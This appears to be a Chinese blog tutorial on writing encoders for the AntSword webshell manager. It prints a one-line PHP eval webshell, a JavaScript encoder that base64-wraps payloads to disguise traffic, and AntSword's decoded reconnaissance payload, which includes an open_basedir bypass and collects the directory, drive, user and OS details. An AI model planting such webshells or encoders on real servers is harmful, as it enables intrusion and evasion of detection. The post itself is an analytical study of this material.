蚁剑编码器编写——上篇

参考

AwesomeEncoder

第一个为例

木马

c 复制代码
<?php @eval(base64_decode($_POST['ant']));?>

获取ant参数内容,然后base64解码后运行

编码器

cpp 复制代码
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
data[randomID] = new Buffer(data['_']).toString('base64');
data[pwd] = new Buffer(`eval(base64_decode($_POST[${randomID}]));die();`).toString('base64');

生成随机数randomID,将数据进行base64编码后传入到randomID参数中,

然后将eval(base64_decode($_POST[${randomID}]));die();进行base64编码

反向来说

木马首先获取data[pwd]也就是ant的值base64解码后得到

c 复制代码
eval(base64_decode($_POST[${randomID}]));die();

实际上木马变为了

c 复制代码
<?php @eval(eval(base64_decode($_POST[${randomID}]));die(););?>

假定生成的随机数randomID为A,那么也就是

c 复制代码
<?php @eval(eval(base64_decode($_POST[A]));die(););?>

在木马的第二步,已经将data[randomID],也就是$_POST[${randomID}],也就是这里的$_POST[A]base64编码过,所以需要在进行解码一次,那么疑问就来了,为什么要执行两次???那就要从流量包来进行查看

环境搭建这里不做演示,小皮,蚁剑,burpsuite即可

将数据包base解码

c 复制代码
ant=eval(base64_decode($_POST[_0x36c084a15bf7d]));die();
c 复制代码
base64_decode($_POST[_0x36c084a15bf7d])

@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.f19ddead";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}$tmdir=realpath($tmdir);@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "59ee6d"."26ac18";echo @asenc($output);echo "3f4b"."0edf4";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}	";if(substr($D,0,1)!="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="	";$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$R.="	{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();

那么也就变为了eval("eval(base64_decode($_POST[_0x36c084a15bf7d]);die();)")

查看一下这一大段,整理一下

c 复制代码
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;
function asenc($out){
    return $out;
};
function asoutput(){
    $output=ob_get_contents();
    ob_end_clean();
    echo "59ee6d"."26ac18";
    echo @asenc($output);
    echo "3f4b"."0edf4";
}
ob_start();
try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();$R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};
asoutput();
die();

当然了,很多函数我都不认识,但是有AI呀!

c 复制代码
@ini_set("display_errors","0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir){$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
    if(!@is_writable($item)){
        continue;
    };
    $tmdir=$item."/.f19ddead";
    @mkdir($tmdir);
    if(!@file_exists($tmdir)){
        continue;
    }
    $tmdir=realpath($tmdir);
    @chdir($tmdir);
    @ini_set("open_basedir", "..");
    $cntarr=@preg_split("/\\\\|\//",$tmdir);
    for($i=0;$i<sizeof($cntarr);$i++){
        @chdir("..");
    };
    @ini_set("open_basedir","/");
    @rmdir($tmdir);break;};
};;

这一段是

关闭错误显示

设置脚本执行时间

获取open_basedir的配置值,绕过open_basedir属性限制

c 复制代码
try{
    $D=dirname($_SERVER["SCRIPT_FILENAME"]);
    if($D=="")
    $D=dirname($_SERVER["PATH_TRANSLATED"]);
    $R="{$D}	";
    if(substr($D,0,1)!="/"){
        foreach(range("C","Z")as $L)
        if(is_dir("{$L}:"))$R.="{$L}:";
    }else{
        $R.="/";
    }
    $R.="	";
    $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
    $s=($u)?$u["name"]:@get_current_user();
    $R.=php_uname();
    $R.="	{$s}";
    echo $R;;
}catch(Exception $e){
    echo "ERROR://".$e->getMessage();
};

这一段获取当前脚本所在目录,初始化字符串参数$R,遍历盘符,C-Z爆破盘符,利用posix_getegid函数获取执行脚本用户的用户名,用户组等内容,检测$u是否存在,不存在则利用get_current_user()函数获取,使用php_uname()获取操作系统信息,

到这里就很清楚了,这段php代码获取木马的当前执行目录,盘符,用户,操作系统信息,由于使用了缓存机制,所以在最后的

asoutput()函数中进行集体输出,

将上文中的请求包发送到repeater模块,发现返回的结果是一样的

但是这还是解释不了为什么两个eval ,其实ant传入的内容属于字符串,外面套一层eval,才会将里面的eval当做函数执行,举个简单的例子

c 复制代码
<?php  
eval("eval('echo 1+1;');die();")
?>

变形一下

c 复制代码
<?php  
eval('eval(base64_decode("ZWNobyAiYWFhIjs="));die();')
?>

最后的输出结果是2,也就是说外面的eval将字符串转换为函数执行,里面的一层eval执行内容

那么在这个例子中,木马的eval用来激活请求包中的eval函数,进而实现命令执行的效果

相关推荐
FIN666829 分钟前
昂瑞微:实现精准突破,攻坚射频“卡脖子”难题
前端·人工智能·安全·前端框架·信息与通信
时空潮汐42 分钟前
神卓 N600:内网穿透需求的高效安全之选
网络·安全·群晖nas·神卓n600
乐迪信息44 分钟前
乐迪信息:基于AI算法的煤矿作业人员安全规范智能监测与预警系统
大数据·人工智能·算法·安全·视觉检测·推荐算法
极验1 小时前
iPhone17实体卡槽消失?eSIM 普及下的安全挑战与应对
大数据·运维·安全
不像程序员的程序媛1 小时前
网络安全概念之网闸&防火墙AI版
安全·web安全
李子圆圆1 小时前
电力专用多功能微气象监测装置在电网安全运维中的核心价值是什么?
运维·安全
disanleya1 小时前
MySQL默认密码不安全?如何首次登录并强化?
数据库·mysql·安全
wanhengidc2 小时前
云手机 手游专用虚拟手机
运维·服务器·安全·游戏·智能手机
林开落L4 小时前
线程进阶:线程池、单例模式与线程安全深度解析
linux·安全·单例模式·线程池
Chan167 小时前
流量安全优化:基于 Sentinel 实现网站流量控制和熔断
java·spring boot·安全·sentinel·intellij-idea·进程